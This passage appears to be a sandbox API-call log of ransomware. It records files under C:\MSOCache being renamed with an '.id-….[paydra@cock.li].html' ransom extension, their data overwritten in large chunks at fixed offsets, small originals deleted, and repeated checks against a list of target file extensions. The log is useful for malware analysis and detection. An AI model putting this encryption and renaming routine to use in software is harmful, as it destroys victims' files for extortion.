users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0044.439] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.440] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0044.440] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0044.440] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0044.440] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.440] ReadFile (in: hFile=0x160, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.445] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.445] ReadFile (in: hFile=0x160, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.453] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.453] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.453] ReadFile (in: hFile=0x160, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.473] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.473] WriteFile (in: hFile=0x160, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0044.778] SetEndOfFile (hFile=0x160) returned 1 [0044.778] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ed1060 [0044.781] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.781] WriteFile (in: hFile=0x160, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.782] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.782] WriteFile (in: hFile=0x160, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.786] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.786] WriteFile (in: hFile=0x160, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.788] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed1060 | out: hHeap=0x4b0000) returned 1 [0044.788] CloseHandle (hObject=0x160) returned 1 [0044.788] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0044.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0044.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0044.789] lstrlenW (lpString=".doc") returned 4 [0044.789] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.789] lstrlenW (lpString=".docx") returned 5 [0044.789] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.789] lstrlenW (lpString=".pdf") returned 4 [0044.789] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.789] lstrlenW (lpString=".xls") returned 4 [0044.789] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.789] lstrlenW (lpString=".xlsx") returned 5 [0044.789] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.789] lstrlenW (lpString=".ppt") returned 4 [0044.789] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0044.789] lstrlenW (lpString=".zip") returned 4 [0044.789] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.789] lstrlenW (lpString=".rar") returned 4 [0044.789] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.789] lstrlenW (lpString=".bz2") returned 4 [0044.789] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.789] lstrlenW (lpString=".7z") returned 3 [0044.789] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0044.789] lstrlenW (lpString=".dbf") returned 4 [0044.789] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0044.789] lstrlenW (lpString=".1cd") returned 4 [0044.790] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0044.790] lstrlenW (lpString=".jpg") returned 4 [0044.790] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0044.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0044.790] lstrlenW (lpString=".doc") returned 4 [0044.790] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.790] lstrlenW (lpString=".docx") returned 5 [0044.790] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.790] lstrlenW (lpString=".pdf") returned 4 [0044.790] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.790] lstrlenW (lpString=".xls") returned 4 [0044.790] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.790] lstrlenW (lpString=".xlsx") returned 5 [0044.790] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.790] lstrlenW (lpString=".ppt") returned 4 [0044.790] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0044.790] lstrlenW (lpString=".zip") returned 4 [0044.790] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.790] lstrlenW (lpString=".rar") returned 4 [0044.790] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.790] lstrlenW (lpString=".bz2") returned 4 [0044.790] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.790] lstrlenW (lpString=".7z") returned 3 [0044.790] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0044.790] lstrlenW (lpString=".dbf") returned 4 [0044.790] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0044.790] lstrlenW (lpString=".1cd") returned 4 [0044.791] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0044.791] lstrlenW (lpString=".jpg") returned 4 [0044.791] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.791] lstrcmpiW (lpString1=".MST", lpString2=".html") returned 1 [0044.791] lstrlenW (lpString="ShellUI.MST") returned 11 [0044.791] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0044.791] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=3584) returned 1 [0044.791] CloseHandle (hObject=0x160) returned 1 [0044.791] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0044.791] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.791] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0044.791] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.791] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.791] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0044.792] GetLastError () returned 0x0 [0044.792] ReadFile (in: hFile=0x160, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xe00, lpOverlapped=0x0) returned 1 [0044.947] WriteFile (in: hFile=0x220, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe10, lpOverlapped=0x0) returned 1 [0044.963] ReadFile (in: hFile=0x160, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.963] WriteFile (in: hFile=0x220, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.963] SetEndOfFile (hFile=0x220) returned 1 [0044.965] CloseHandle (hObject=0x220) returned 1 [0044.971] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.971] SetEndOfFile (hFile=0x160) returned 1 [0044.974] CloseHandle (hObject=0x160) returned 1 [0044.974] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0044.974] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0044.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0044.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0044.976] lstrlenW (lpString=".doc") returned 4 [0044.976] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0044.976] lstrlenW (lpString=".docx") returned 5 [0044.976] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0044.976] lstrlenW (lpString=".pdf") returned 4 [0044.976] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0044.976] lstrlenW (lpString=".xls") returned 4 [0044.976] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0044.976] lstrlenW (lpString=".xlsx") returned 5 [0044.976] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0044.976] lstrlenW (lpString=".ppt") returned 4 [0044.976] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0044.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0044.976] lstrlenW (lpString=".zip") returned 4 [0044.976] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0044.976] lstrlenW (lpString=".rar") returned 4 [0044.976] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0044.976] lstrlenW (lpString=".bz2") returned 4 [0044.976] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0044.976] lstrlenW (lpString=".7z") returned 3 [0044.976] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0044.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0044.976] lstrlenW (lpString=".dbf") returned 4 [0044.976] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0044.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0044.976] lstrlenW (lpString=".1cd") returned 4 [0044.976] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0044.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0044.977] lstrlenW (lpString=".jpg") returned 4 [0044.977] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0044.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0044.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0044.977] lstrlenW (lpString=".doc") returned 4 [0044.977] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0044.977] lstrlenW (lpString=".docx") returned 5 [0044.977] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0044.977] lstrlenW (lpString=".pdf") returned 4 [0044.977] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0044.977] lstrlenW (lpString=".xls") returned 4 [0044.977] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0044.977] lstrlenW (lpString=".xlsx") returned 5 [0044.977] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0044.977] lstrlenW (lpString=".ppt") returned 4 [0044.977] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0044.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0044.977] lstrlenW (lpString=".zip") returned 4 [0044.977] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0044.977] lstrlenW (lpString=".rar") returned 4 [0044.977] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0044.977] lstrlenW (lpString=".bz2") returned 4 [0044.977] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0044.977] lstrlenW (lpString=".7z") returned 3 [0044.977] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0044.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0044.977] lstrlenW (lpString=".dbf") returned 4 [0044.977] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0044.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0044.977] lstrlenW (lpString=".1cd") returned 4 [0044.977] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0044.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0044.978] lstrlenW (lpString=".jpg") returned 4 [0044.978] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0044.978] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0044.978] lstrlenW (lpString="Office32WW.msi") returned 14 [0044.978] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0044.978] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1992192) returned 1 [0044.978] CloseHandle (hObject=0x160) returned 1 [0044.978] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0044.978] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.978] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0044.979] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0044.979] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0044.979] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.979] ReadFile (in: hFile=0x160, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.982] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.982] ReadFile (in: hFile=0x160, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.986] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.986] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.986] ReadFile (in: hFile=0x160, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.009] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.009] WriteFile (in: hFile=0x160, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0045.287] SetEndOfFile (hFile=0x160) returned 1 [0045.287] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ec1058 [0045.291] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.291] WriteFile (in: hFile=0x160, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.293] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.293] WriteFile (in: hFile=0x160, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.295] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.295] WriteFile (in: hFile=0x160, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.297] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec1058 | out: hHeap=0x4b0000) returned 1 [0045.297] CloseHandle (hObject=0x160) returned 1 [0045.297] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0045.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.297] lstrlenW (lpString=".doc") returned 4 [0045.297] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.297] lstrlenW (lpString=".docx") returned 5 [0045.297] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0045.297] lstrlenW (lpString=".pdf") returned 4 [0045.297] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.297] lstrlenW (lpString=".xls") returned 4 [0045.297] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.297] lstrlenW (lpString=".xlsx") returned 5 [0045.297] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0045.297] lstrlenW (lpString=".ppt") returned 4 [0045.297] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.297] lstrlenW (lpString=".zip") returned 4 [0045.297] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.297] lstrlenW (lpString=".rar") returned 4 [0045.298] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.298] lstrlenW (lpString=".bz2") returned 4 [0045.298] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.298] lstrlenW (lpString=".7z") returned 3 [0045.298] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0045.298] lstrlenW (lpString=".dbf") returned 4 [0045.298] 